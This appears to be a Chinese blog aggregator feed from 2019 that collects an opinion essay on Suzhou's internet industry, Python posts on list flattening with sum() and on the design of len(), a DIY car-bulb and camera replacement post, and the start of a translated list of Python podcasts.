我国互联网存在着巨大的地域性偏差,除了北上广深杭外,其它省市的互联网都很弱小。去年 8 月,某个公众号发布了一篇《上海不相信互联网》的文章,引起了多方的讨论。CSDN 公众号以此为契机,陆续发布了关于南京、东北、西安、甚至德国等地的互联网发展情况的文章。
作为一个“苏漂”程序员,我有幸得到了 CSDN 编辑的约稿,因此也给苏州写了一篇。这篇文章并不是专业的行业观察,有些观点缺乏客观的数据支撑,还有一些理应关注的内容因为资料不足而被迫删除,所以整体而言,这篇文章只是个人之见 。它是一个开端吧,今后我会持续关注苏州互联网的发展,再分享我的见闻与思考。
该文已授权给 CSDN 公众号发布原创,我转载于此,主要是调整了排版。欢迎就文中内容与我交流。如需转载,请联系 CSDN 公众号。

本文首发于 CSDN 公众号

01 苏州印象

说起苏州,你的第一印象是什么?
是“上有天堂,下有苏杭”、“苏湖熟,天下足”,是烟雨楼台中的江南古城吧?
是“姑苏城外寒山寺,夜半钟声到客船”,是文人墨客游园林品昆曲哼评弹,是传续历史文化底蕴的代表吧?
是背靠上海、独占江苏鳌头的现代大都市,是 GDP 排行全国第七名,是非省会或直辖市的城市中的领头羊吧?
没错,这些都是苏州印象,复古与现代相融合,文化与经济共繁荣。
它有近 2500 年历史,是中国首批国家历史文化名城之一,它的园林被联合国教科文组织列为世界文化遗产,它的大运河区段也入选了世界遗产名录。
它的工业总产值居全国第一,进出口总额排全国前三,城市总人口超过 1000 万,是国内第二大的移民城市。
2018 年 8 月,英国经济学人智库(EIU)发布了年度《全球宜居城市排行榜》,苏州市蝉联成为中国内地最宜居城市,再次超越北上广!
2018 年 11 月,福布斯中国发布了《创新力最强的30城市》,苏州市排名第 3 ,超越上海和广州!
这就是苏州。苏州就是这样。
然而,在这一连串的光鲜亮丽背后,苏州也有自己的痛——它从未培育过一家互联网独角兽,甚至不及苏北的宿迁,后者至少养育出了一位互联网巨头“大强子”。
苏州拥有庞大的经济体量,但它的存在感并不强,互联网的实力与自身并不匹配。坊间传言,苏州是互联网的荒漠,这是真的么?

02 互联网荒漠

南京是苏州终生的劲敌/兄弟,CSDN 曾发布过一篇《“南京才不相信互联网呢”》,介绍了它的互联网状况。
该文把南京比作是“互联网沙漠之城”,我完全不认同——说是沙漠就太过分啦,南京远不到贫瘠无力的地步,说得那么苦寒兮兮的,把混得更惨的其它城市置于何地呢?
如果要把北上广深杭,比作互联网的几片树林的话,南京大概是一圈草地吧,苏州反而才是绿植更加稀疏的荒漠。
在那篇文章的留言区,有读者这样留言:

比起南京,苏州更是寸草不生。

苏州的互联网还是婴儿。

苏州和南京,千年古城也,一省两强,明争暗斗,不分伯仲。
而在当今的互联网浪潮中,它们距离第一梯队都太远,终于落后成了一对难兄难弟。
数一数本地知名的互联网公司吧。南京有苏宁、途牛旅游、西祠胡同,苏州有同程旅游、蜗牛游戏、聚合数据。什么?这里有你不知道的?别抱怨了,再多数几家,你很可能也不认识(而我也数不出来)。
这就是它们惨淡的互联网环境:没有巨头,小头公司不成气候,有的据说甚至遭到了 BAT 的嫌弃。
哦,差点忘了。苏州还有一张突然空降来的王牌呢——360 安全公司,就是周鸿祎的那家呢。去年,经过一番眼花缭乱的操作,它竟变成了一家苏州的企业!
不过,这就是个空壳罢了,像什么“ 霍尔果斯XXX影视公司 ”一样,资本面具而已。
当然,有一些互联网巨头是真的入驻了苏州的,例如华为、阿里巴巴、百度、微软、IBM,初来时可能还提出过“打造 xxx,提升 xxx”的响亮口号。
然而,它们派来的都不是互联网核心的业务,本着精明的商人心计,它们当然是来捞取政策红利与人才储备的,可不是来播撒互联网种子的。
可话说回来,即便是有大资本来苏州吹出一个风口,它就能站对位置,就能被吹得起来么?
苏州是否容得下互联网,能否发展好互联网呢?

03 一座古城

从诸多方面来看,苏州都只是一座慢节奏的古城。
它对互联网的很多新鲜事物都免疫。
例如近两三年,共享单车群雄并起,但即便是在它们最激进的攻城略地时期,苏州也始终置身事外,不受战火纷扰。就我所见,只有极稀少的几辆小黄车,我一度怀疑它们是从周边城市偷渡进来的…
苏州是最早实行“禁车令”的极少数大城市之一,当时我初来乍到,作为一个“苏漂”新人,我给苏州的评价是:不够开放包容,缺少冒险精神。 这恰恰就是“互联网精神”的内核之一。
但是如今再看,风光褪去的共享单车仿佛一场考验市民公德与揭露资本嘴脸的闹剧。苏州虽然没有感受到新物种的红利,却也躲过了它的反噬。
实际上,苏州有自己的“公共自行车”系统,自 2010 年启动,有桩停车点覆盖了很多生活小区、交通站点、商业体和其它场所。政府投入了巨大的成本来推动 有序的 绿色出行,成果显著,这大概也是“禁车令”的主要考虑吧。
这座古城自有自己的发展规划,面对热闹的互联网诱惑,她倒是能“守身如玉”。
共享单车或许还不够“互联网”,但其它的互联网风口也吹不动苏州。
就看最近几年的大事件吧,在团购网站的“千团大战”、网约车的大战、以及直播与短视频的大战中,牌桌上可有苏州本土的企业呢?好像没有吧!这些可没有碰上“禁 X 令”。
苏州严重依赖于第二产业,一直是上海制造业的转移地,但同时,金融与科技等第三产业想要在大上海的“黑洞”边发展,就太难了。
苏州的高等教育严重落后,综合性大学仅有一家苏州大学(211,非985)。在最新发布的《武书连 2019 中国大学排行榜》中,苏州大学取得历史性最好排名 24 名,其它本地高校排名在 300 开外。
造血能力不足,能少点被上海、南京和杭州吸血,就很不错了。
苏州本地人喜欢安逸,享受着城市扩张的红利,持有多套房产坐收房租的大有人在。本地年轻人早早婚嫁,靠着啃老支付房贷车贷,拿着一份入不敷出的工资,也活得毫无压力。最后高房价不知吓软了多少外地人的腿。
在地理空间上,苏州也是相对封闭的。坐拥 8000 多平方公里的土地以及 1000 万人口,它竟然没有建成一个机场。苏州与浙江省之间至今也没有直通的铁路,唯一相通的高速公路还是两车道的,阻碍了高效的跨省域协作。
苏州就是这样一座古城,养老有余,拼搏不足,家底殷实,环境封闭。
外地的互联网企业能走进来已然不错,本地互联网企业若想壮大走出去,则举步维艰。
苏州本地成长起来最大的互联网公司是同程网,它于 2003 年上线,主营在线旅游代理业务,到 2010 年,其综合实力排名全国第三。然而到 2013 年,携程发起猛烈的价格战,同程被迫迎战,一个季度就烧掉了十年的利润,元气大伤。
此后,BAT 纷纷入局,万达也成立万达旅业想分一杯羹,同程顿时陷入了危机重重的局面。
最后它被资本招安,与艺龙合并。2018 年 11 月,同程艺龙在港股上市,如今第一大股东是腾讯,第二大股东是携程,公司注册地也变为了北京。
苏州互联网企业发展之路的艰难,在同程的身上能看到一个缩影。
苏州是互联网的荒漠,事实不容争辩。那么,它的未来出路在哪呢?

04 苏州互联网的未来

互联网已经深切地改变了我们的生活,智能手机的普及降低了人们“触网”的门槛。
对于广大用户来说,互联网没有地域之分,人们根本不关心提供服务的是哪个地方的企业。
不像购买手机时,有人会选择支持国产,互联网用户更在乎的是服务本身,而不在乎谁是提供者——哪家打车平台折扣大就用哪家、哪家外卖平台做活动就选哪家、哪家短视频更抓眼球就用哪家。平台间的迁移成本几乎为零,用户没有忠诚度可言。
互联网公司相互比拼谁的市场占有率高,谁构建的护城河高,以规模优势打压和吞并竞争对手。强者更强,剩者为王。
近年来兴风作浪的资本教育了大众两个词汇:烧钱与割韭菜。
从这个视角来看,苏州是幸运的。用户要的是优质的互联网服务,至于它是不是由本地企业提供的,又有何区别的?把节省下来的钱用在实业上,不是更有意义么?
寸有所长,尺有所短,苏州互联网的未来出路应该是:扬长补短,走出一条特色的苏州互联网道路。
根据中国互联网络信息中心最新发布的《第43次中国互联网络发展状况统计报告》,网信独角兽企业出现极端的“贫富分化”——北上广浙占去 92.1%,其它省市仅有 7.9%。
这说明了什么?除了这四地,全国其它地方都是互联网的荒漠啊!
苏州不是互联网强市,这没啥可否认的,但也不值得妄自菲薄。并不是非要夺得某个领域的互联网头把交椅,才有自尊与荣耀。
都说现在是“互联网下半场”,人工智能、大数据、物联网、5G是未来的大趋势。怎么把这些技术与现有的工业基础相结合,这才是苏州最迫切的研究课题。
消费互联网的红利将尽,工业互联网的时代即将来临。 苏州的未来不是消费互联网,而是工业互联网。我国为了甩掉低端制造业的身份,逐年加码推动工业互联网的发展,这对苏州来说是极大的利好。
通过政策引导、资金补贴、规范标准、政府部署等一系列动作,苏州加快了工业互联网的建设。
2016 年,由工业 4.0 俱乐部、中国工控网等单位主办,苏州召开了第一届“中国工业服务产业互联网大会”。2018 年,苏州成立了苏州市工业互联网产业联盟。
苏州也开始跑起来了。也许不要几年,它的互联网局面将改善起来,像遍地的小绿车,在这片荒漠上长出一个活力四射的春天。

May 02, 2019 12:00 AM

April 26, 2019

pythoncat

sum() 函数性能堪忧,列表降维有何良方?

Python 的内置函数 sum() 可以接收两个参数,当第一个参数是二维列表,第二个参数是一维列表的时候,它可以实现列表降维的效果。
在上一篇《如何给列表降维?sum()函数的妙用》中,我们介绍了这个用法,还对 sum() 函数做了扩展的学习。
那篇文章发布后,猫哥收到了一些很有价值的反馈,不仅在知识面上获得了扩充,在思维能力上也得到了一些启发,因此,我决定再写一篇文章,继续跟大家聊聊 sum() 函数以及列表降维。若你读后有所启发,欢迎留言与我交流。
有些同学表示,没想到 sum() 函数竟然可以这么用,涨见识了!猫哥最初在交流群里看到这种用法时,也有同样的想法。整理成文章后,能得到别人的认可,我非常开心。
学到新东西,进行分享,最后令读者也有所获,这鼓舞了我——应该每日精进,并把所学分享出去。
也有的同学早已知道 sum() 的这个用法,还指出它的性能并不好,不建议使用。这是我不曾考虑到的问题,但又不得不认真对待。
是的,sum() 函数做列表降维有奇效,但它性能堪忧,并不是最好的选择。
因此,本文想继续探讨的话题是:(1)sum() 函数的性能到底差多少,为什么会差?(2)既然 sum() 不是最好的列表降维方法,那是否有什么替代方案呢?
stackoverflow 网站上,有人问了个“How to make a flat list out of list of lists”问题,正是我们在上篇文章中提出的问题。在回答中,有人分析了 7 种方法的时间性能。
先看看测试代码:
import functools
import itertools
import numpy
import operator
import perfplot

def forfor(a):
    return [item for sublist in a for item in sublist]

def sum_brackets(a):
    return sum(a, [])

def functools_reduce(a):
    return functools.reduce(operator.concat, a)

def functools_reduce_iconcat(a):
    return functools.reduce(operator.iconcat, a, [])

def itertools_chain(a):
    return list(itertools.chain.from_iterable(a))

def numpy_flat(a):
    return list(numpy.array(a).flat)

def numpy_concatenate(a):
    return list(numpy.concatenate(a))

perfplot.show(
    setup=lambda n: [list(range(10))] * n,
    kernels=[
        forfor, sum_brackets, functools_reduce, functools_reduce_iconcat,
        itertools_chain, numpy_flat, numpy_concatenate
        ],
    n_range=[2**k for k in range(16)],
    logx=True,
    logy=True,
    xlabel='num lists'
    )
代码囊括了最具代表性的 7 种解法,使用了 perfplot (注:这是该测试者本人开发的库)作可视化,结果很直观地展示出,随着数据量的增加,这几种方法的效率变化。
从测试图中可看出,当数据量小于 10 的时候,sum() 函数的效率很高,但是,随着数据量增长,它所花的时间就出现剧增,远远超过了其它方法的损耗。
值得注意的是,functools_reduce 方法的性能曲线几乎与 sum_brackets 重合。
在另一个回答中,有人也做了 7 种方法的性能测试(巧合的是,所用的可视化库也是测试者自己开发的),在这几种方法中,functools.reduce 结合 lambda 函数,虽然写法不同,它的时间效率与 sum() 函数也基本重合:
from itertools import chain
from functools import reduce
from collections import Iterable  # or from collections.abc import Iterable
import operator
from iteration_utilities import deepflatten

def nested_list_comprehension(lsts):
    return [item for sublist in lsts for item in sublist]

def itertools_chain_from_iterable(lsts):
    return list(chain.from_iterable(lsts))

def pythons_sum(lsts):
    return sum(lsts, [])

def reduce_add(lsts):
    return reduce(lambda x, y: x + y, lsts)

def pylangs_flatten(lsts):
    return list(flatten(lsts))

def flatten(items):
    """Yield items from any nested iterable; see REF."""
    for x in items:
        if isinstance(x, Iterable) and not isinstance(x, (str, bytes)):
            yield from flatten(x)
        else:
            yield x

def reduce_concat(lsts):
    return reduce(operator.concat, lsts)

def iteration_utilities_deepflatten(lsts):
    return list(deepflatten(lsts, depth=1))


from simple_benchmark import benchmark

b = benchmark(
    [nested_list_comprehension, itertools_chain_from_iterable, pythons_sum, reduce_add,
     pylangs_flatten, reduce_concat, iteration_utilities_deepflatten],
    arguments={2**i: [[0]*5]*(2**i) for i in range(1, 13)},
    argument_name='number of inner lists'
)

b.plot()
这就证实了两点:sum() 函数确实性能堪忧;它的执行效果实际是每个子列表逐一相加(concat)。
那么,问题来了,拖慢 sum() 函数性能的原因是啥呢?
在它的实现源码中,我找到了一段注释:
/* It's tempting to use PyNumber_InPlaceAdd instead of
PyNumber_Add here, to avoid quadratic running time
when doing 'sum(list_of_lists, [])'.  However, this
would produce a change in behaviour: a snippet like

empty = []
sum([[x] for x in range(10)], empty)

would change the value of empty. */
为了不改变 sum() 函数的第二个参数值,CPython 没有采用就地相加的方法(PyNumber_InPlaceAdd),而是采用了较耗性能的普通相加的方法(PyNumber_Add)。这种方法所耗费的时间是二次方程式的(quadratic running time)。
为什么在这里要牺牲性能呢?我猜想(只是浅薄猜测),可能有两种考虑,一是为了第二个参数(start)的一致性,因为它通常是一个数值,是不可变对象,所以当它是可变对象类型时,最好也不对它做修改;其次,为了确保 sum() 函数是个 纯函数 ,为了多次执行时能返回同样的结果。
那么,我要继续问:哪种方法是最优的呢?
综合来看,当子列表个数小于 10 时,sum() 函数几乎是最优的,与某几种方法相差不大,但是,当子列表数目增加时,最优的选择是 functools.reduce(operator.iconcat, a, []),其次是 list(itertools.chain.from_iterable(a)) 。
事实上,最优方案中的 iconcat(a, b) 等同于 a += b,它是一种就地修改的方法。
operator.iconcat(a, b)
operator.__iconcat__(a, b)
a = iconcat(a, b) is equivalent to a += b for a and b sequences.
这正是 sum() 函数出于一致性考虑,而舍弃掉的实现方案。
至此,前文提出的问题都找到了答案。
我最后总结一下吧:sum() 函数采用的是非就地修改的相加方式,用作列表降维时,随着数据量增大,其性能将是二次方程式的剧增,所以说是性能堪忧;而 reduce 结合 iconcat 的方法,才是大数据量时的最佳方案。
这个结果是否与你所想的一致呢?希望本文的分享,能给你带来新的收获。
相关链接:
如何给列表降维?sum()函数的妙用 :https://mp.weixin.qq.com/s/cr_noDx6s1sZ6Xt6PDpDVQ

April 26, 2019 12:00 AM

April 25, 2019

anji66

自己动手更换牌照灯泡和倒车影像摄像头

前段时间,偶然发现后牌照灯坏了一个,一边亮一边暗,独眼龙似的甚是难受。就打算淘宝买两个灯珠来换,顺道想着我这当年的倒车影像摄像头被太阳晒黄磨花了早就看不见了顺手也给换了吧,就网上淘了过来。灯珠现在普遍都是led的比钨丝的要好,要亮,那就买led的吧。你如果正好需要,链接我给你找来了,这里是灯珠链接,这个是摄像头链接。摄像头好像还能领3元的券。虽然我这老司机早就不需要借助摄像头和雷达进行倒车了,反正要拆,顺手就给换了吧。


▼这是磨花的摄像头,倒车已经完全糊的看不见任何东西了。

1.jpg


▼这是买的灯珠,led的白色的,还各种彩色的我没要,花里胡哨的也不好看。

2.jpg


▼这是买来摄像头,把原来的换了就行。以前的倒车影像是加装的德赛西威的导航机配套的。

3.jpg


▼打开后备箱,先拆里面的隔音棉。卡扣用把平口起子,撬开上面一层,一拔就下来了。

4.jpg


▼这是拆掉隔音棉的样子,这里面有两个螺丝和两个塑料卡扣。

5.jpg


▼拆了螺丝,卡扣抵进去,后灯框就能拉下来了。

6.jpg


▼这是牌照灯的灯座,拧尾部90度,就能拔下灯珠。

7.jpg


▼对比下,原钨丝灯珠和led灯珠。这个是T10的接口,你买的时候别买错了

8.jpg


▼这是灯座,灯泡直接插进去就行

9.jpg


▼倒车摄像头需要拆掉原来的,两个螺丝在外面,整个取下,换上新的,插头对插就行,我忘拍了,这是换上后的影像效果。

10.jpg


▼这是led倒车灯的效果,白光还是很亮的。

11.jpg


▼拆掉的原摄像头

12.jpg


▼看看,烧坏钨丝的灯珠。

13.jpg


好了,最后原样装回就行了,so easy!


by 西枫里 at April 25, 2019 07:58 AM

April 21, 2019

pythoncat

Python 为什么用 len() 函数,不用 x.len() 风格?

为什么 Python 要用 len 括号 x 这种内置函数的写法,而不像其它的面向对象语言,用 x 点 len 括号 的写法?
三个主要的原因:
原因一:将 len 设计成内置函数,直接读取底层的 C 结构体,这样速度会更快。
这个原因在《流畅的 Python》这本书中有所介绍。

我在 2013 年问核心开发者 Raymond Hettinger 这个问题时,他用“Python 之禅”里的原话回答了我:“实用胜于纯粹。”在 1.2 节里我提到过,如果 x是一个内置类型的实例,那么 len(x)的速度会非常快。背后的原因是 CPython 会直接从一个 C 结构体里读取对象的长度,完全不会调用任何方法。获取一个集合中元素的数量是一个很常见的操作,在 str、list、memoryview等类型上,这个操作必须高效。

换句话说,len之所以不是一个普通方法,是为了让 Python 自带的数据结构可以走后门,abs也是同理。但是多亏了它是特殊方法,我们也可以把 len用于自定义数据类型。这种处理方式在保持内置类型的效率和保证语言的一致性之间找到了一个平衡点,也印证了“Python 之禅”中的另外一句话:“不能让特例特殊到开始破坏既定规则。”

如果把abs和 len都看作一元运算符的话,你也许更能接受它们——虽然看起来像面向对象语言中的函数,但实际上又不是函数。有一门叫作 ABC 的语言是 Python 的直系祖先,它内置了一个 #运算符,当你写出 #s的时候,它的作用跟 len一样。如果写成 x#s这样的中缀运算符的话,那么它的作用是计算 s中 x出现的次数。在 Python 里对应的写法是 s.count(x)。注意这里的 s是一个序列类型。

——出自该书《1.4 为什么len不是普通方法》

原因二:前缀符号更可读,简单胜过复杂!
原因三:见名知意,看见 len 函数就知道它是用来求长度的。但是看见 x.len() 方法,它实际可能并不是求长度,只是恰好叫这个名字!
后两个原因是我转述了 Python 之父的解释。
除此之外,我还有自己的观点:我认为这是对世界本质的洞察!求长度是一种共性操作,就像分数 ½ 中的横线,与具体对象无关!所以,就应该设计成一个内置函数!

原题:len(x) 击败 x.len(),从内置函数看 Python 的设计思想

内置函数是 Python 的一大特色,用极简的语法实现很多常用的操作。
它们预先定义在内置命名空间中,开箱即用,所见即所得。Python 被公认是一种新手友好型的语言,这种说法能够成立,内置函数在其中起到了极关键的作用。
举个例子,求字符串 x 的长度,Python 的写法是 len(x) ,而且这种写法对列表、元组和字典等对象也同样适用,只需要传入对应的参数即可。len() 函数是共用的。
这是一种极简哲学的体现:Simple is better than complex。
但是,有些语言并不是这样,例如在 Java 中,字符串类有一个求长度的方法,其它类也有自己的求长度的方法,它们无法共用。每次使用时,通过类或实例来调用。
同样是求字符串长度,Python 的写法:
saying = "Hello world!"
print(len(saying))

# 结果:12
而在 Java 中,写法可能如下(简化起见):
String saying = "Hello world!";
System.out.println(saying.length());

// 结果:12
Python 采用的是一种前缀表达式 ,而 Java 采用的则是后缀表达式
除了求长度,Python 的某些内置函数也能在 Java 中找到对应的表达。例如,数值型字符串 s 转化为整型数字,Python 可以用 int(s) 函数,而 Java 可以用 Integer.parseInt(s) ;整型数字转化为字符串,Python 可以用 str(i) ,而 Java 也有 String.valueOf(i)
Python 的内置函数不与特定的类绑定,它们是一级对象。而 Java 的“函数”则无法脱离类而存在,它们只是附属品。
从直观角度来看,Python 的表达似乎是更优的。但是,它们并不具有可比性 ,因为这是两套语言系统,各有独特的范畴背景,并不能轻易地化约。
就好比是,不能因为拉丁字母笔画简单,就说它优于汉字,因为在表意时,字母(表音文字)是远逊于汉字(表意文字)的。同样的,日本借用了汉字的偏旁部首而造出来的文字,虽然更省笔墨,但是也完全丧失了意蕴。
以此类比,Python 的内置函数虽有简便之美,但却丢失了某些表意功能。有些人在质疑/抨击 Python 的时候,也喜欢拿这点说事,认为这是 Python 的设计缺陷。
这就引出本文最想讨论的一个问题来:为什么 Python 要设计成 len(x) 这种前缀表达,而不是 x.len() 这样的后缀表达呢?
事实上,后缀设计也是可行的,以 Python 中列表的两个方法为例:
mylist = [2, 1, 3, 5, 4]

mylist.sort()
print(mylist)   # [1, 2, 3, 4, 5]

mylist.reverse()
print(mylist)   # [5, 4, 3, 2, 1]
它们都是通过列表对象来调用,并不是凭空从内置命名空间中拿来的。语义表达得也很清楚,就是对 mylist 做排序和逆转。
恰恰那么巧,它们还有两个同父异母的兄弟 sorted() 与 reversed(),这俩是前缀表达型。
mylist = [2, 1, 3, 5, 4]

sort_list = sorted(mylist)
print(sort_list)   # [1, 2, 3, 4, 5]

reverse_list = reversed(mylist)
print(list(reverse_list))   # [4, 5, 3, 1, 2]
不同的写法,都在做同一件事(不考虑它们的副作用)。因此,后缀语法并非不可行,之所以不用,那肯定是刻意的设计。
回到前面的问题:为什么是 len(x) ,而不是 x.len(x),这根源于 Python 的什么设计思想呢?
Python 之父 Guido van Rossum 曾经解释过这个问题( #TODO: add link),有两个原因:
  • 对于某些操作,前缀符比后缀更好读——前缀(和中缀)表示法在数学中有着悠久的历史,其视觉效果有助于数学家思考问题。我们可以简单地把公式 x*(a + b) 重写成 x*a + x*b ,但同样的事,以原生的面向对象的方式实现,就比较笨拙。
  • 当读到 len(x) 时,我就 知道 这是在求某对象的长度。它告诉我了两点:返回值是一个整数,参数是某种容器。但当读到 x.len() 时,我必须事先知道某种容器 x,它实现了一个接口,或者继承了一个拥有标准 len() 方法的类。我们经常会目睹到这种混乱:一个类并没有实现映射(mapping)接口,却拥有 get() 或 keys() 方法,或者某些非文件对象,却拥有一个 write() 方法。
解释完这两个原因之后,Guido 还总结成一句话说:“I see ‘len’ as a built-in operation ”。这已经不仅是在说 len() 更可读易懂了,而完全是在拔高 len() 的地位。
这就好比说,分数 ½ 中的横线是数学中的一个“内置”表达式,并不需要再实现什么接口之类的,它自身已经表明了“某数除以某数 ”的意思。不同类型的数(整数、浮点数、有理数、无理数…)共用同一个操作符,不必为每类数据实现一种求分数的操作。
优雅易懂是 Python 奉行的设计哲学 ,len() 函数的前缀表达方式是最好的体现。我想起 Guido 对“为什么索引从 0 开始 ”的解释。其最重要的原因,也正是 0-based 索引最优雅易懂。

出自《The History of Python: Why Python uses 0-based indexing

让我们来先看看切片的用法。可能最常见的用法,就是“取前 n 位元素”或“从第i 位索引起,取后 n 位元素”(前一种用法,实际上是 i == 起始位的特殊用法)。如果这两种用法实现时可以不在表达式中出现难看的 +1 或 -1,那将会非常的优雅。

使用 0-based 的索引方式、半开区间切片和缺省匹配区间的话(Python最终采用这样的方式),上面两种情形的切片语法就变得非常漂亮:a[:n] 和 a[i:i+n],前者是 a[0:n] 的缩略写法。

所以,我们能说 len(x) 击败 x.len() ,支撑它的是一种化繁为简、纯粹却深邃的设计思想。
面向对象的编程语言自发明时起,就想模拟我们生活于其中的现实世界。可是什么类啊、接口啊、对象啊、以及它们的方法啊,这些玩意的毒,有时候蒙蔽了我们去看见世界本质的眼睛。
桌子类有桌子类的求长度方法,椅子类有椅子类的求长度方法,无穷无尽,可现实真是如此么?求长度的方法就不能是一种独立存在的对象么?它之所以存在,是因为有“对象”存在,而不是因为有某个类才存在啊。
所以,我想说,len(x) 击败 x.len(),这还体现了 Python 对世界本质的洞察
求某个对象的长度,这种操作独立于对象之外而存在,并不是该对象内部所有的一种属性或功能。从这个角度理解,我们能够明白,为什么 Python 要设计出内置函数? 内置函数其实是对世界本质的一种捕捉。
这些见微知著的发现,足够使我们爱上这门语言了。人生苦短,我用 Python。

April 21, 2019 12:00 AM

April 17, 2019

pythoncat

如何给列表降维?sum()函数的妙用

上个月,学习群里的 S 同学问了个题目,大意可理解为列表降维 ,例子如下:
oldlist = [[1, 2, 3], [4, 5]]

# 想得到结果:
newlist = [1, 2, 3, 4, 5]
原始数据是一个二维列表,目的是获取该列表中所有元素的具体值。从抽象一点的角度来理解,也可看作是列表解压或者列表降维。
这个问题并不难,但是,怎么写才比较优雅呢?
# 方法一,粗暴拼接法:
newlist = oldlist[0] + oldlist[1]
这种方法简单粗暴,需要拼接什么内容,就取出来直接拼接。然而,如果原列表有很多子列表,则这个方法就会变得繁琐了。
我们把原问题升级一下:一个二维列表包含 n 个一维列表元素,如何优雅地把这些子列表拼成一个新的一维列表?
方法一的做法需要写 n 个对象,以及 n - 1 次拼接操作。当然不可行。下面看看方法二:
# 方法二,列表推导式:
newlist = [i for j in range(len(oldlist)) for i in oldlist[j]]
这个表达式中出现了两个 for 语句,在第一个 for 语句中,我们先取出原列表的长度,然后构造 range 对象,此时 j 的取值范围是 [0, n-1] 的闭区间。
在第二个 for 语句中,oldlist[j] 指的正是原列表的第 j 个子列表,for i in oldlist[j] 则会遍历取出 j 子列表的元素,由于 j 取值的区间正对应于原列表的全部索引值,所以,最终达到解题目的。
这种方法足够优雅了,而且理解也并不难。
然而,我们是否就能满足于此了呢?有没有其它奇技淫巧,哦不,是其它高级方法呢?F 同学贡献了一个思路:
# 方法三,巧用sum:
newlist = sum(oldlist,[])
说实话,这个方法令我大感意外!sum() 函数不是用于求和的么?怎么竟然有此用法?
这个写法利用了什么原理呢?由于我开始时不知道 sum() 函数可以接收两个参数,不清楚它们是怎么用于计算的,所以一度很困惑。但是,当我知道 sum() 的完整用法时,我恍然大悟。
接下来也不卖关子了,直接揭晓吧。
语法: sum(iterable[, start]) ,sum() 函数的第一个参数是可迭代对象,如列表、元组或集合等,第二个参数是起始值,默认为 0 。其用途是以 start 值为基础,再与可迭代对象的所有元素相“加”。
在上例中,执行效果是 oldlist 中的子列表逐一与第二个参数相加,而列表的加法相当于 extend 操作,所以最终结果是由 [] 扩充成的列表。
这里有两个关键点:sum() 函数允许带两个参数,且第二个参数才是起点。 可能 sum() 函数用于数值求和比较多,然而用于作列表的求和,就有奇效。它比列表推导式更加优雅简洁!
至此,前面的升级版问题就得到了很好的回答。简单回顾一下,s 同学最初的问题可以用三种方法实现,第一种方法中规中矩,第二种方法正道进阶,而第三种方法旁门左道(没有贬义,只是说它出人意料,却效果奇佳)。
这道并不算难的问题,在众人的讨论与分享后,竟还引出了很有价值的学习内容。前不久,同样是群内的一个问题,也产生了同样的学习效果,详见《Python进阶:如何将字符串常量转为变量?》。
我从中得到了一个启示:应该多角度地思考问题,设法寻求更优解,同时,基础知识应掌握牢固,并灵活贯通起来。
学无止境,这里我还想再开拓一下思路,看看能发现些什么。
1、如果原列表的元素除了列表,还有其它类型的元素,怎么把同类的元素归并在一起呢?
2、如果是一个三维或更高维的列表,怎么更好地把它们压缩成一维列表呢?
3、sum() 函数还有什么知识要点呢?
前两个问题增加了复杂度,解决起来似乎没有“灵丹妙药”了,只能用笨方法分别拆解,逐一解压。
第三个思考题是关于 sum() 函数本身的用法,我们看看官方文档是怎么说的:

The iterable’s items are normally numbers, and the start value is not allowed to be a string.

For some use cases, there are good alternatives to sum(). The preferred, fast way to concatenate a sequence of strings is by calling ''.join(sequence). To add floating point values with extended precision, see math.fsum(). To concatenate a series of iterables, consider using itertools.chain().

sum() 的第二个参数不允许是字符串。如果用了,会报错:

TypeError: sum() can’t sum strings [use ”.join(seq) instead]

为什么不建议使用 sum() 来拼接字符串呢?哈哈,文档中建议使用 join() 方法,因为它更快。为了不给我们使用慢的方法,它竟特别限定不允许 sum() 的第二个参数是字符串。
文档还建议,在某些使用场景时,不要用 sum() ,例如当以扩展精度对浮点数求和时,推荐使用 math.fsum() ;当要拼接一系列的可迭代对象时,应考虑使用 itertools.chain()
浮点数的计算是个难题,我曾转载过一篇《如何在 Python 里面精确四舍五入?》,对此有精彩分析。而itertools.chain() 可以将不同类型的可迭代对象串联成一个更大的迭代器,这在旧文《Python进阶:设计模式之迭代器模式》中也有论及。
不经意间,sum() 函数的注意事项,竟把 Python 其它的进阶内容都联系起来了。小小的函数,竟成为学习之路上的一个枢纽。
前段时间,我还写过 range() 、locals() 和 eval() 等内置函数,也是通过一个问题点,而关联出多个知识点, 获益良多。这些内置函数/类的魔力可真不小啊。
本文到此结束,希望对你有所帮助。

April 17, 2019 12:00 AM

April 12, 2019

pythoncat

视频当道的时代,这些珍藏的优质 Python 播客值得推荐

我国互联网的发展道路与欧美不同,在内容的形式上,我们似乎实现了跨越式的发展——早早进入了移动互联网时代,直播和短视频等形式的内容成为了潮流,而文字形式的博客(blog)与声音形式的播客(podcast)则(逐渐)成为了小众。智能手机极大地改变了我们的上网习惯。
诚然,仍有一些受众广泛的聚合类的平台,例如微信公众号、CSDN、掘金、极客时间、喜马拉雅、荔枝FM,为我们提供丰富的博客与播客,但是,不依赖平台的个人博客与个人播客,则鲜有人知。
依我的使用习惯,我很喜欢听音频节目,也即是播客。中文的播客听了不少,但是,免费的 Python 播客是极其稀少。
直到发现了 Full Stack Python 网站上的一篇文章,它汇总介绍了一些非常棒的 Python 播客,大部分节目仍在持续更新中。我特翻译出来,分享给大家。
英文节目对大多数人来说,可能门槛较高,但是英文是程序员的必修功课 ,聆听英文节目,正好可以一边学技术,一边练习英语,一举两得。

英文 | Best Python Podcasts[0]
译者 | 豌豆花下猫
Python 社区里有很多免费或低成本的学习资源,对新手与有经验的开发者来说,是一大福音。这些优秀的资源就包括很多定期更新的 Python 播客节目。
本文介绍了一些活跃的、与 Python 或软件工程相关的、高质量的播客。

Python 相关的播客

这些播客的运营者都是 Python 开发者,他们关注的都是我们领域内很重要的话题。每个播客系列都有很长的历史列表,有的节目录于几年前,因此我们有很丰富的材料可以聆听与学习。
  • Talk Python to Me[1] 专注于 Python 开发者和组织,每期节目会邀请不同的嘉宾来谈论 ta 的工作

  • Podcast.__init__[2] 提供有关 Python 的故事,以及“与那些让它变得更棒的人们的访谈”

  • Python Bytes[3] 是来自“Talk Python to Me”和“Test and Code Podcast”创作者的新播客

  • Test and Code Podcast[4] 侧重于测试与相关主题,如模拟(mock)和代码度量

  • Philip Guo 教授有一个名为 PG Podcast[5] 的视频播客,基本是关于 Python 主题的

  • Import This[6] 是 Kenneth Reitz 和 Alex Gaynor 间歇更新的播客,对有影响力的 Python 社区成员进行深度的采访

最喜欢的播客节目

以下是我从各大播客中收集的最喜欢的一些节目,听听这些内容,你可以感受到其余播客节目的风格。
